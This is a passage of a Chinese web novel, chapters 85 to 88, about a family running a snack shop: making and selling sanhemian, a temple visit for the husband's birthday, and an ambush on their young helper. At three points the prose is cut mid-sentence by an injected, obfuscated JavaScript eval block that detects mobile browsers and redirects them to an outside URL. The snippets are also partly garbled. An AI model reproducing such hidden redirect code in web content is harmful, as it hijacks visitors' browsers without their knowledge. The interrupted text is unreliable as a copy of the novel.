许春喜原想去炸红葱头油的，离灶台还有三两步，她又折了回去，甩了甩手上的水珠，迅速捏了两颗花生仁丢入口中。 姑嫂俩一起将花生仁咬得嘎吱作响，一时满口都是花生的浓郁油香。 前两日，许东山刚做了一小缸子用于自家炒菜用的猪油，猪油还充裕着，许春喜便大方地用锅勺铲了一满勺质地黏稠颜色雪白的猪油甩进热锅里化开。 绵柔的猪油慢慢地在热锅面上融化，直至成为一汪浅黄色的油水，冒起了小泡，飘出了浓烈醇厚的猪油香。 许春喜握着大刀三下两下地将那把红葱头剁成了形状不一的小丁，眼见要过火候了，许春喜赶忙倒入红葱头，葱头上残留的小水珠让猪油飞溅起，还好许春喜躲得快，不然指定得被猪油烫伤。 “月娘，面粉蒸得差不多了，你赶紧面粉端出来炒了。”红葱头这东西需要慢慢搅拌烹炸，不然容易过火烧焦。 正好苏月娘捣完了花生油麻碎，便紧接着去端出锅里蒸熟的面粉倒入小锅中翻炒。 浸泡在猪油中的红葱头慢慢变得焦赤酥脆，许春喜见红葱头的颜色变得差不多了，立即铲起锅里的红葱头油，将猪油沥到碗中，仅留下酥脆的红葱头酥。 经过炒制的面粉颜色又白变为微黄，许春喜站在边上，倒入红葱头酥，再由苏月娘继续将红葱头酥与面粉搅拌均匀。 方才沥干的猪油也是三合面香醇的一大秘诀，红葱头酥均匀裹上了面粉后，分三次往锅中倒入猪油。 加入猪油之后，面粉出现少许结团，但这并不碍事，待猪油、红葱头酥以及面粉混合好之后，倒入方才倒好的花生油麻碎，这三合面也就差不多了。 三合面，汇聚红葱头、猪油以及花生油麻的香气，若能类比，这东西闻起来大概像是猪油糖。 狗鼻子林大松用力吸了吸鼻子。 “春喜，这就是三合面吗？我还没吃过！你弄好了给我泡一碗尝一尝！” 许春喜瞥了他一眼，端起锅，将热乎的三合面倒入大盆中放凉。 “你不是才吃了两大碗饭吗？你再喝一碗三合面小心撑死。” “这不是太香了吗！” “这一时半会儿还吃不了，等午后再说！” 苏月娘瞅瞅这一盆称不上美观，但是味道极香的三合面，倒也和林大松一样，有些馋了。 但想起这三合面还没拌白糖，她便收回了视线，静等三合面冷却。 …… 午后，这三斤多的三合面已经完全冷却下来了。 既然三合面是为了给苏月娘补身体的，那么白糖必然是不能少下。 许春喜将结团的三合面揉散，再让林大松往里头倒上一斤左右的白糖。 最后，将白糖与黄色的粉面拌均匀了，真正的三合面便算是做好了。 林大松很积极地端来了一碟碗一字排开，等着许春喜泡三合面。 85. 三合面 “整个家里，就数你林大松最贪吃！特地做给月娘吃的三合面，你都得抢着尝尝咸淡！” 许春喜嘴上数落着林大松，却还是给他舀了两大勺三合面。 “我不吃，不用给我盛。”许东山对这种甜腻的甜面没什么兴趣，便先回厨房提烧好的滚水了。 许春喜每碗放上两勺三合面，待许东山提着水过来，她再根据大家偏好的浓稠分别冲泡。 苏月娘喜好浓稠一些的三合面，许春喜便给她少加了点水。 黄色的三合面极快溶于水，汤匙随意搅拌几圈，便成了轻易挂勺的浓稠面糊，黄白的的面糊上飘着些红葱酥与油麻花生碎。 三合面还太烫，苏月娘耐着性子吹气搅拌，猪油、红葱头与花生油麻的香气不停往她鼻子里钻。 待三合面没那么烫了，苏月娘从表面上刮了半勺抿了一口。 浓稠均匀滑润的甜味面糊包裹着红葱、花生油麻碎，面糊入口后，有些许颗粒感，但不必咀嚼，可以直接下咽。 一旁不怕烫的林大松几大勺下去，一碗三合面就空了一大半了。 “这三合面这么好吃！难怪我爹都不舍得让我尝尝！” 许春喜瞄了一眼林大松马上要变空的碗，眼疾手快地将装三合面的盆往自己这儿一拉，再端给许东山保管。 “哥，你赶紧把三合面藏到林大松找不到的地方！不然月娘还没喝两口，就被他一个人偷吃光了！” “好。” 林大松含着一口三合面，难以置信地看着许春喜，“春喜，我在你眼中就是这种嘴馋到跟自己妹妹抢东西吃的人吗？” 许春喜皱眉，反问，“你不是？” 林大松嘴一瘪，继续吃自己碗里剩下的三合面了。 “阿平够吃吗？还要来一点吗？”趁着许东山还没将那盆三合面端回去放着，苏月娘赶紧询问阿平是否够吃。 毕竟阿平才十三岁，正是“半大小子，饿死老子”的时候，既然刘昌将阿平托付给她，那她肯定会将阿平当成自家的孩子来照顾。 能吃上这样的甜糊糊，阿平已经很满足了，便没有再要第二碗。 苏月娘看着阿平摇头，才让许东山去将三合面放在干燥的小罐子存着。 一家子正吃着三合面，外头正好有人进来。 “月娘头家，今天家里有客人，一会儿给我留一只姜母鸭！”这是裁缝铺子的头家娘，她自带了一个装鸭子的大盆。 “好嘞！一会儿我让人给你端过去！” 左右午后闲来无事，裁缝铺的头家娘便寻了个位置坐下。 堂屋里味道太香，头家娘一闻，便知道是三合面。 “你这三合面闻着怪香的！是自己做的还是外头买的？” 许春喜笑道：“桂枝婶，这是我自己做的。” 桂枝婶凑上前去瞧了一眼，“你这用料倒是齐全！颜色也漂亮！这三合面还有剩不？” “刚做了好几斤呢！桂枝婶来一碗吗？我让我哥拿出来！” “做了好几斤啊……”桂枝婶摸了摸衣兜，“你这三合面卖不卖！正好过些时日我女儿要生了，我买点给她送过去！” 这三合面是做给苏月娘补身体用的，许春喜便看向苏月娘。 苏月娘见许春喜犹豫了，“我一个人也吃不了那么多三合面！你不如卖点出去！” “好！明天我再给你多做一点！” 许春喜放下碗勺，转身回厨房取三合面与杆秤了。 “这猪油、白糖和油麻花生用了不少，一斤……吉利一些吧，十文钱！” 桂枝婶瞧这三合面里头配料放了不少，倒是觉得这个数也不算什么。 “你那缸子总共有多少？” 许春喜在杆秤上铺上一张油纸，再将缸子里的三合面倒到秤盘上一称。 “还剩下两斤半。” “这些都卖给我吧！” “都卖了都卖了！反正我今天都喝过一碗了！” 苏月娘都发话了，许春喜也就将两斤半的三合面都包到油纸包里头。 “总共二十五文钱。” 今天桂枝婶兜里揣了一大串钱，她数了几个铜板解下来，其他的就留在桌上。 “你们自己分吧！我可懒得数了！” “多谢桂枝婶照顾我们春喜嫂的生意！” 桂枝婶接过包扎结实的三合面，“春喜可是出了名的手巧！前些日子你们不是在卖蒜蓉枝吗？我家那个吃你家的蒜蓉枝都吃得停不下来了！” 许春喜做的蒜蓉枝基本都没有剩下过，这几日没做了，那些买过蒜蓉枝的老主顾还上门询问何时会再做。 “我忽然想起来我那儿还有件衣裳要改！我就先回去做事了！你们可记得给我送姜母鸭呀！”桂枝婶风风火火地离开了。 —— 来癸水的第三日，苏月娘除了有些腰酸之外，其他的倒是没有什么大碍了。 不过许东山总担心她身子不适，便哄着她睡晚一些再起。 苏月娘这个做头家的倒也不客气，真睡到了大家伙开始准备中午饭的时候才悠哉悠哉地出来。 还没走出房巷，苏月娘便听见堂屋那儿传来几个女人的叽叽喳喳的谈话声。 “我婆婆做的东西没滋没味的，我就想着问你买几斤三合面留着坐月子的时候解解馋！” “今天早上桂枝还跟我们说了，你今天还要给月娘头家做三合面，你能不能帮我也做一点！就两斤！” 许春喜有些为难，“我们店里这么忙……我怕是没时间做这么多……” “你可别担心我们会白占你的便宜！我这就给你钱！” 苏月娘从房巷那儿冒出个脑袋来，那几个眼见的女人见了她便同她打招呼。 “月娘头家！” 苏月娘扶了扶别在鬓边的粉色绢花，快步朝着许春喜走上去。 那几个人方才听了许春喜说店里忙碌，便纷纷询问苏月娘： “月娘头家，你小姑说店里忙，没空做三合面！我瞧你们店里午后不是挺闲的吗！” 苏月娘朝那几人笑笑，她拉了拉许春喜的胳膊，将许春喜拉到了厨房去。 “这么大的生意你不做？你是不是傻？还是说……你是真的没精力做这事儿？” 许春喜，“我还没想清楚要不要做这个呢……这回我可得同你好好分账了！” 苏月娘无奈地笑道：“你花你的钱买三合面的食材，这还同我分什么账？” 许春喜，“锅灶、柴火哪样不要钱！我若是不给你分账，那岂不是在白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609831|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 占你的便宜！” “那又不是什么值钱的东西……” 许春喜见外头那些人还在探头探脑，“她们既然这么想买，那这活我就做了！到时候我给你分账！” 说罢，许春喜走出厨房去回话了。 许东山将姑嫂俩的对话听得一字不落，等苏月娘朝他看过来的时候，他盖上了锅盖。 “跟我一起出来翻姜母鸭吧。”许东山朝苏月娘伸出大手。 苏月娘走上去，牵上许东山的大手，跟着他出去了。 院子里那一排姜母鸭锅正噗噗地往外冒着辛辣火热的气，许东山倒没舍得让苏月娘动手做事，就叫她站在边上看着。 这儿没有其他人，苏月娘也就直白地问道：“你找我出来要说春喜嫂的事情？” “是。” “那你说着，我听。” 许东山说话翻姜母鸭两不误，“春喜要给你钱你就收着，不然春喜也不能放心地做东西。” 作为许春喜的哥哥，许东山肯定是希望许春喜能多挣一些自己的钱，但作为苏月娘的丈夫，他也希望苏月娘不要因为许春喜是自家人而吃亏。 亲兄弟都要明算账了，更何况是亲上加亲的姑嫂。 “可是她做那点东西又费不了我什么……更何况我今日能在这里安定地开店生活，还要感谢她呢……” 苏月娘一直记着当时阿舅表哥商量着给她找个苏家人不知道的去处时，是许春喜让她来凤池镇避风头的。 也正是因为如此，她才能在这儿开店挣钱，与许东山成亲，过上安稳幸福的日子。 许东山默默地将剩下几锅姜母鸭都翻好了。 他放下手头的东西，将苏月娘拉到怀里抱着。 “你也知道，春喜喜欢做点甜食解闷，你若是不收钱，那她也不能安心地做东西……” “前段日子陈头家也上面让你劝说春喜回他那作坊干活，若让她回陈头家那里做糕点，不仅辛苦，而且工钱还不比你这儿多……这样，你就舍得吗？” 苏月娘想了想，还是不舍得放走能干的许春喜。 “那我收了……大不了回头添在工钱里返给春喜嫂……” 至少苏月娘是同意收下许春喜那一点分账了，至于她要不要加在其他地方返给许春喜那就是她自己的事情了。 和许东山聊过之后，苏月娘回了屋，许春喜刚收了六斤三合面的钱。 姑嫂俩正好碰上了，许春喜摸出十二个铜板塞给苏月。 “每卖一斤，我分你两文！刚刚收了六斤的钱，这些一共十二文！” 苏月娘低头拨了拨这把铜板，又分出一半给许春喜塞了回去。 “我就算你锅灶和柴火的钱！一斤一文足够了！” 许春喜看着被塞回来的六枚铜钱，有些哭笑不得，“我放东西总要地方吧？这不算？” “这里也是你的家！我同你算地方的钱算什么事儿啊！就这么说好了！你可别再给我塞钱了！” 苏月娘利落地将六文钱塞到衣兜后，便去帮着阿平准备海蛎煎的面糊了。 许春喜品了品苏月娘方才说的话，不禁嘴角上扬。 在月娘小吃铺做事、生活倒是自在，兄嫂都从来没将她这个外嫁女当成外人，反倒处处替她着想…… 86. 祈福：开元寺 小寒一过，天又冷了不少，苏月娘刚结束癸水那一阵，还打了几天喷嚏。 许东山见她总是因为呼吸不畅而总是哼哼，便勒令她在袄子里多穿一层春日的薄衣保暖。 原先身姿曼妙的人儿就这么被三层衣裳包裹得与熊毫无区别。 苏月娘嘴上埋怨着许东山大惊小怪，但心里还是觉得这么穿暖和多了。 眼见着许东山的生辰还有一日就到了，苏月娘拉上许春喜一起，手忙脚乱地往新裤子里填上棉花。 —— 许东山的生辰在十一月廿六。 过了廿五，许东山就二十六岁了。 许东山对自己的生辰还是有些在意的，毕竟除了上战场那几年没条件过之外，其他年份的生辰总是有人给他张罗着过，就算是去年家里只有他和许春喜两人，但许春喜也请了红姑阿生来家里一起吃一顿好的。 可见大家好像都没什么表示，许东山就有些纳闷了。 一直到了廿五那晚，他缠着苏月娘欢好的时候，他还一直等着苏月娘提一提过生辰的事情，怎知道到后面苏月娘都累得睡着了，她都没提过这事儿。 许东山只好带着满心郁闷入眠。 …… 次日，不到卯时，许东山起身干活了。 他从橱子底下翻出他成亲前刚做的新衣裳，想以此告诉大家今日他过生辰。 他的寝衣刚脱下，不知何时醒来的苏月娘便披着被子跪坐起来，从许东山身后环着他的腰。 “我们阿山又老了一岁……”苏月娘说这话时还忍不住笑了，“都二十六了呢！” 许东山心头的郁闷顷刻消散，他为苏月娘记得他的生辰而欣喜。 不过苏月娘用“老”来说他，他皱着眉，拍了拍她的手背。 “不老，才二十六！” “哪里不老了？我才二十呢！” 许东山，“……” 许东山无奈地叹了口气，“时候还早，你多睡会儿，我出去干活了。” 苏月娘抱着他不撒手，放在他腹部的两只手开始捣乱，“都过生辰了还干什么活！今天咱们两个歇一日，去开元寺祈福吃斋面！” 那只不安分的手都往下探了，许东山也不好扔下苏月娘一个人在屋待着。 …… 许东山与苏月娘一直“歇”到了辰时四刻才牵着手从屋里出来。 今天的许东山堪称焕然一新，不仅满面春风，还穿着一身崭新的细布衣裳。 红姑上下打量了许东山一眼，夸道：“你平日里光穿那些旧衣裳，看着就像乞丐一样，还是今天这样穿好看！” 许东山摸了摸身上的细布衣裳，笑道：“这是月娘亲手做的，穿着很暖和。” 林大松听见外头的对话，赶忙放下手里的大勺，出来看个热闹。 他眯着眼，看了那衣裳好半晌。 “诶？大哥这身衣裳看着有点眼熟啊！” 一旁正在玩草蚂蚱的阿生瞥了一眼，“刚刚我看哦屁也穿了一身一样的！” 先前许东山撞见苏月娘与许春喜在做衣裳时，苏月娘拿给哦屁做衣裳的理由来搪塞他，后来见布料剩了不少，她就干脆也给哦屁缝了一身。 这时候，穿着和许东山一块布做出来的小衣裳的哦屁从房巷那儿跑出来，蹲在爹娘的跟前吐舌头摇尾巴。 许东山垂眸看着哦屁那身小衣裳，“……” “阿婴（1）乖，跟姑姑姑父在家待着，今天你爹过生辰，娘带他出去逛逛！回来给你买羊奶喝！” 哦屁倒是听话，朝着爹娘吠了两声之后，便屁颠屁颠地又跑回后屋了。 …… 两口子吃着红姑今早买来的马蹄酥、拎着一篮子贡品出门了。 开元寺在西街那儿，离凤池镇还算是有一段距离。 苏月娘可懒得走过去，她早两日就从吴头家那儿打听到了今日他家的伙计要去西街送货，她和吴头家提了一嘴要去开元寺拜拜的事情，吴头家便让她和许东山搭伙计的驴车过去。 两口子到了干货行等伙计出发，见吴头家在店里拨弄算盘记账本，苏月娘也就拉着许东山进去问好了。 “早啊，吴头家！” 吴头家听见苏月娘的声音，才从账本里抬起头来。 瞧长得都很俊俏的两口子穿着崭新的细布衣裳，吴头家觉得很是赏心悦目。 “阿山早该这么穿了！长得那么俊的一个年轻人，就该穿点好的！” 苏月娘挽着许东山的胳膊，嗔了他一眼，“你瞧大家都这样说！你我为坐贾（2），几身细布衣裳也是换得起的，你就不要总是穿那两身旧衣裳了！” 许东山，“你不是把我的旧衣裳都拿去给哦屁做狗窝了吗？” —— 三刻钟之后，两口子到达了西街。 西街这处与凤池镇一般繁华，民房开门行商，售吃食、售杂货，也售婚丧嫁娶之物。 以寺内东西两塔闻名的开元寺便是坐落于西街末尾，站在西街头，便能瞧见寺内的那两座生得极为相似的高塔。 苏月娘遥见两座高塔兴奋不已，“开元寺在我们那儿可出名了！以前我爹爹还许诺要在我十六岁的时候带我来这儿祈福！明年清明回去给我爹顺风水（3）时，我可要告诉他我已经到过开元寺了！” “好。” 今天是廿六，是开元寺固定施斋面的日子，前来上香吃面的香客可不少。（4） 许东山在摩肩接踵的人群中牢牢抓着苏月娘的手，以防与她冲散在人流之中。 两人挤了好半天，才顺利地从西街头走到西街尾去。 越靠近开元寺，蹲在街边售卖香与金纸的小贩就越多，而且都还叫价不低。 这时候，苏月娘便格外庆幸自己将东西都带全了。 高大的紫云屏对面便是开元寺的大门，檐顶四条青鳞龙弯曲欲飞，当中有一小塔矗立。 被左右两道方圆红格窗拥在正中的大门白底匾额上写有“紫雲”二字，入门之后，抬头又见红底竖方匾上有八个金字“勑大開元萬夀禪寺”，左右两边摆两尊魁梧威严的大像。 “以前这寺叫过莲花道场、兴教寺和龙兴寺，后来开元皇帝诏诸州建寺起名开元，这寺才改为开元寺。” 苏月娘被许东山护着转弯走向这前堂侧边的垂拱门。 “先带你去看看东塔和西塔。” 两人随着人群朝前涌动，又过一拱门，古塔赫然在内。 许东山示意苏月娘看那座最近的塔，“这是镇国塔，也叫做东塔，”（5） 苏月娘越过遮盖塔半截的榕树影，顺着塔身向塔尖瞧，她惊叹道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615782|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这塔得有多高？看着比临漳门（6）还高！” 许东山，“小时听老人说，这塔得有将近五十米。” 苏月娘想了想，“五十米……咱们家的那条巷子大概五十米！那条巷子看着也不深，怎么这塔看着这么高！” 许东山回答不了苏月娘的问题，只得带着她继续折回前堂的另一侧去看西塔。 “西塔叫仁寿塔，我小时候这儿坏过一会，官府便向百姓筹钱修缮，那时候我爹捐了三两银子。” 苏月娘看着这座自家公爹花过钱的塔，顿觉亲切。 “别看这两座塔差不了多少，但西塔比东塔矮了快五米。” 东西塔上各刻壁画无数，还可登塔参观，但无奈今日香客太多，两口子便不去凑那个热闹了。 两人从侧边进入大雄宝殿所在之处，此处挤满高举香的香客，苏月娘见那些不停往下落香灰的香就害怕，赶忙吩咐道： “你可小心一些！被把我给你做的新衣裳给烫坏了！烫一个洞你就在在堂屋睡一个月！” 不用苏月娘说，许东山也知道要爱惜这身衣裳，但比起保护衣裳，他还是更担心苏月娘被烫到，于是，他凭借自己个高的优势将苏月娘夹在胳膊下，大手压在她的脑袋上，护着她的脸面。 有人高马大的许东山在前面开路，两个人很快就绕过两座前朝矮塔与方形有顶香炉挤进了修为重檐歇山顶的大雄宝殿之内。 初次来到这个闻名泉州各地的寺庙，苏月娘四处张望个不停。 一进殿，环顾一圈，是五方佛像，听闻这是汉地少有的密宗规制。 再一抬头，苏月娘便被殿内斗拱的奇特形状吸引住了。 那是鸟身人首的妙音（7），工匠手艺极好，妙音着飘飘彩衣、身佩金饰，貌美又不乏神性。 许东山带着苏月娘一起将贡品摆在大佛之前，取了香与金纸再次挤出去了。 两人小心翼翼地挤在人群中点香后，再眼疾手快地抢了两块陈旧的蒲团跪下。 “你可虔诚一些！” 许东山朝她点头，“知道了！” 苏月娘这才心满意足地闭上眼睛，双手合十。 她在心里念叨。 【明年一家人包括哦屁都要平平安安健健康康的，小店赚得盆满钵满，若是可以，孩子也可以来一个……】 许东山许的愿望与她的差不了多少，夫妻俩几乎同时睁开了眼睛。 苏月娘从兜里掏出一个装了几枚碎银子的小小荷包，大方地丢入了写着“随喜缘功”的钱箱里。 许东山搀着苏月娘站了起来，苏月娘忍不住问道：“你许了什么愿？” 方才她听见许东山低声念叨了，但周围人太吵，她没能听清楚。 许东山一笑，“你猜。” 苏月娘料定他也没什么新意，便没有多加追问。 两口子一齐折了金纸，再将一大把金纸丢入金纸塔中慢慢焚烧。 最后再由许东山返回拥挤的大殿里取来贡品。 走出大雄宝殿所在之处，苏月娘还揪着许东山四处打量，确认他的新衣上没有被烫出洞，她才满意。 “逛了这么久我都饿了……咱们去找斋面吃吧！” 苏月娘见身边不少人是擦着嘴出来的，便拉着许东山往那些人出来的方向往里走。 87. 开元寺：斋面 每月廿六是开元寺的勤佛日，每月这日由开元寺牵头、民间力量帮助，向百姓大众分发斋面。 大雄宝殿处香客众多，寺院僧人便将供面处设在了大雄宝殿后方的空处。 苏月娘拉着许东山走过侧拱门，沿着大雄宝殿外围走没两步，便瞧见了长龙一般的队伍，两人赶紧冲上前去，接在了队伍末尾。 “城内大寺庙果然热闹！这排斋面的人少说得有四五百吧！”苏月娘伸长脖子往前张望，却发现一望望不到队伍尽头。 “我爹年轻时来帮忙煮过斋面，他来的那一回共分发出三千碗斋面。” 队列之中什么人都有，有衣着华贵的贵夫人，有衣着朴素的农家妇，有衣衫褴褛的乞丐，更有几个长得白发碧眼、眼窝深陷、鼻梁高挺的人。（1） 那些人生得实在可怖，苏月娘没忍住往许东山怀里缩了缩。 “阿山，你瞧前面那些人，头发黄白眼碧绿，面容怪异，这是生了什么病？”她压低声音问道。 许东山朝前望去，瞧见那几人的面容后，他哭笑不得地同苏月娘解释道：“不是病，他们是来行商的外邦人，看样貌大概是海西（2）来的……吴家做海贸的那一支就是和这样的人做生意。” “那些人叽里咕噜的，说的不是闽南话也不是官话，那吴家人是怎么听得懂他们的话，还同他们做上生意的？” 许东山摇头，“我也不懂，但听闻吴家养了不少通事（3）之人，近能译莆仙、闽东等闽州土话，远能译官话乃至诸外邦之言。” 苏月娘心中暗道能将生意做至海西的大家族果真不是寻常行商坐贾所能够比的。 一时半会儿还排不到供面处，许东山怕苏月娘饿肚子，从篮子里翻出一颗永春芦柑从中掰做两瓣给她垫垫肚子。 长龙不断盘旋前行，侯了小半个时辰，总算能瞧见前头设在刺桐树（4）下的供面处，这个时节刺桐树的枝丫上只有枯黄欲坠的叶片，待到来年二月，此处必然青绿中开出红艳夺目的刺桐花。 “今日的斋面是万寿酒家的黄头家出的大头，听说捐了不少银子呢！” “他一口气捐了三个月的呢！这是第三个月！这斋面是他出的钱，煮斋面打斋面的也都是他的人！” “黄头家这样的行善之人赚这么多是必然的！” 泉州城内从来不乏富有之人，手头富足又乐善好施的商人多少都会在这样的好事上出一份力。 苏月娘竖起耳朵，将那些人的话仙都听来了，她记住了黄头家和万寿酒家。 不得不说，这是一个很好的打报方式。 她弯着眼，笑看许东山。 夫妻之间总是有一些默契的，许东山看苏月娘那副笑容就知道她是什么意思了。 “你想出钱还是出力？” “我觉得我们可以都出！开元寺香火太旺，咱们出不起这儿的钱，倒是可以试一试稍小一点的寺庙！”苏月娘将最后一瓣芦柑塞进口中，“你替我参详参详！” 许东山略一沉思，道：“不知你听过承天寺没有？承天寺（5）稍小，又离家近。” 承天寺离凤池镇极近，苏月娘自然是听说过的。 “听说过，那承天寺是何时分发斋面？” “每月初三，一会儿回去时，我带你去问一问。” …… 两口子总算到了供面处，正好碰上两个伙计抬来了一桶才刚出锅的斋面。 来取斋面的百姓都尽量不给僧人们添麻烦，除非不恰好，不然多数人都会自带碗筷。 许东山从提篮里头取出两个空碗递给打斋面的伙计，伙计接过碗，各打上一大勺汤汁浓稠、满碗皆素的斋面。 两口子取到了斋面之后，在长廊下寻了两处空地。 开元寺的斋面是由生面煮成的，当中加入红菜、香菇、木耳、白菜等素菜。 排了许久的队，苏月娘早饿坏了，还没等许东山给她铺一块布垫在屁股下，她便在长廊上席地而坐，端着碗张大嘴巴呼噜了一口浓稠的斋面，煮得有形却软的生面中混着些爽口的脆菜，总体是菜香咸味，丝毫不输那些荤腥足的面。 “虽然没有半点荤腥，但味道还算不错！” 许东山四处张罗了一番，才坐下尝面。 他倒没发什么感慨，就只是一口接一口地往嘴里塞面。 这么一小碗面条别说许东山了，就连饭量不算大的苏月娘也就只能吃个五六分饱，还好今天带了不少贡品，两人还能吃些水果、糕点填饱肚子。 —— 两人来时有吴家的驴车捎带，回时便只能徒步前行。 开元寺离家可不算近，苏月娘还没有走到承天寺便嚷嚷着脚疼走不动路。 许东山听她一抱怨，差点心疼坏了，将提篮塞给苏月娘，而后蹲下，想背着苏月娘走。 这周遭人来人往的，苏月娘也不好意思让许东山背着走，她赶忙让许东山站起来，叫他陪着自己坐在路边歇一会儿。 两人走走停停数次，又去承天寺里商谈下月初三施斋面的事情。 苏月娘正好能够出得起下月施斋面的钱，外加五个人力。 两方相谈甚欢，若非时候不早了，不然住持还要留两口子在寺里吃一顿斋饭。 …… 临近傍晚，两口子终于回了家。 今日店里少了两个人干活，供应的吃食自然随之减少，两口子到家之时，店已经打烊了。 “你俩怎么这么晚才回来？”正在擦桌子的许春喜见两人回来了，忙给一脸疲惫的苏月娘拉一把椅子。 “刚刚去了一趟承天寺……下月初三，咱们不开店，去承天寺做斋面！” 林大松听见这话，从厨房探出脑袋，“做斋面？做斋面的食材是承天寺那边给的吗？” 苏月娘，“我们出！” 林大师啧啧，“你才刚挣到一点钱，就这么着急撒出去，你傻不傻啊！” 许春喜皱着眉朝着林大松走去，一脚将他踹回厨房里。 “你懂什么！干你的活去！”从前许家富裕时，许春喜的阿公和爹时常往寺庙、祖厝捐钱，或者是给街上无家可归的乞丐施饭，许春喜对这样为善事出钱的行为一向是赞同的。 “我们和承天寺的人问过了，这斋面的钱算不了太多，我还是出得起的！”而后，苏月娘与大家伙说起了今日她在开元寺等斋面时的所见所闻。 至于施斋面是不是真的能叫月娘小吃铺更上一层楼尚未可知，但如此善举带来的福报定然影响久远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620410|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 …… 今日是许东山的生辰，在吃食方面定然不能太过随便。 苏月娘破天荒地亲自为许东山做了一大盆用料丰富的卤面，其他几人也各显神通，纷纷下厨做了一道拿手好菜。 一桌子好菜摆上桌，大家纷纷入座，而小哦屁也分得了一碗稀稀的肉汤稀饭，蹲在堂屋的角落吭哧吭哧地吃着。 这一桌子鱼虾螃蟹鸡鸭皆有，可许东山最中意的还是苏月娘做的那一盆卤面。 虽说这卤面味道不及他做的，但苏月娘的一片心意足以弥补这一不足。 “你都吃了三大碗卤面了，再吃可就没肚子吃别的菜了！”苏月娘见许东山还要盛第四碗，赶忙夹了一筷子羊肉放进他的碗中。 “你做的卤面最好吃。” 苏月娘自然知道自己什么水平，但被许东山这么一夸，她的嘴角便怎么也压不下来了。 对面看得满心羡慕的林大松戳了戳许春喜的胳膊，低声道：“我生辰在正月初三，你也要记得给我做卤面！可不许做得比月娘差！” “只要你不惹我生气，等你过生辰我也给你做！” …… —— 今日阿平跟着东家吃了顿好的，心里高兴得不得了，他离开小吃铺时，脸上还挂着笑。 天边黑压压的，路上基本见不着几个人，头一回自己回家的阿平靠着墙走得小心翼翼的，生怕一不小心摔了，没人来扶。 刘家离许家有半条街的距离，阿平跟刘昌走了几回已经将路线牢记于心了。 走出巷子，往上直走碰见一棵大龙眼树，再左拐抄小路进入另一条大路，一直走到肉铺门口，便是阿舅家了。 阿平走到龙眼树下，轻车熟路地要往小路里钻，怎知才走至一半，他却忽然被人扑倒在地，他的胳膊被粗糙的地面划得皮破血流，可他是个哑巴，一点声音都发不出来。 阿平没来得及回头瞧是谁推他，便被身后的人套上了麻袋，阿平心头一惊，慌忙要挣脱麻袋，麻袋口却被迅速地扎了起来。 “啊……啊……”阿平惊恐地拉扯着麻袋，可嗓子里只能发出微弱的呜咽声。 忽然，棍棒隔着麻袋狠狠地砸在阿平的身上，一下接着一下，力道不断变大，阿平痛得连呜咽声都发不出来了，只能蜷缩在麻袋里掉眼泪。 不知过了多久，外头的人终于停了手，那人揪着麻袋一阵摆弄，麻袋里的阿平浑身麻痹，未有一丝动弹。 听着脚步声逐渐变小，直至消失不见，阿平才劫后余生般恢复了一点儿直觉。 他在麻袋里艰难地蠕动了一番，意外发现麻袋上有一个破洞，阿平颤抖着手，用力地将麻袋扯开…… …… 刘昌一家子等了许久都不见阿平回来。 眼见着都快马上戌时四刻了，刘昌还是决定出去接一接阿平。 他正要出发，阿平的身影便出现在了家门口。 “阿平回来了！”刘昌的儿子眼尖，一眼瞧见了阿平。 “哎呦！你小子怎么这么晚回来！今天许师傅过生辰，你一定吃了不少好吃的吧！”刘昌赶忙迎了过去，见着阿平的模样，刘昌惊得抓紧阿平的胳膊， “是谁将你打成这副模样——” 88. 泼脏水 “砰、砰、砰——” 许东山在睡梦中听见了微弱的敲门声，他皱着眉，仔细辨认了一番，确认确实是有人在敲门，他才睁开眼，掀开被子翻身下床。 苏月娘被许东山的一番动静吵醒了。 “阿山，你去哪？” 许东山回头弯腰给苏月娘盖好被子，“有人敲门，我出去看看，你继续睡。” 许东山走出房门之后，碰见了眼睛都没睁开的林大松，林大松嘟囔道：“谁这么缺德，大晚上的过来扰人清梦。” 两个男人一起走了出去，而许春喜和苏月娘不久之后也穿着袄子出来了，毕竟正是大家伙睡得香的时候，若非有急事，不然也不会挑这个时辰过来敲门。 许东山和林大松匆匆跑去堂屋打开大门，外头的人倒是提着一盏灯笼，许东山开门之后，便一眼认出外头的人是刘昌。 “刘叔怎么这个时候过来了？” 刘昌抓着许东山的胳膊的手在发抖，许东山甚至还能听见刘昌牙齿打颤的声音。 “阿平被人打了！还被打得浑身没有一块好皮！” 原还头脑晕乎的许东山一听这话，立即清醒了起来，“什么？你说阿平怎么了！” 苏月娘与许春喜正好赶了过来，苏月娘从许东山和林大松中间挤到了刘昌的面前，“阿平现在怎么样了？” 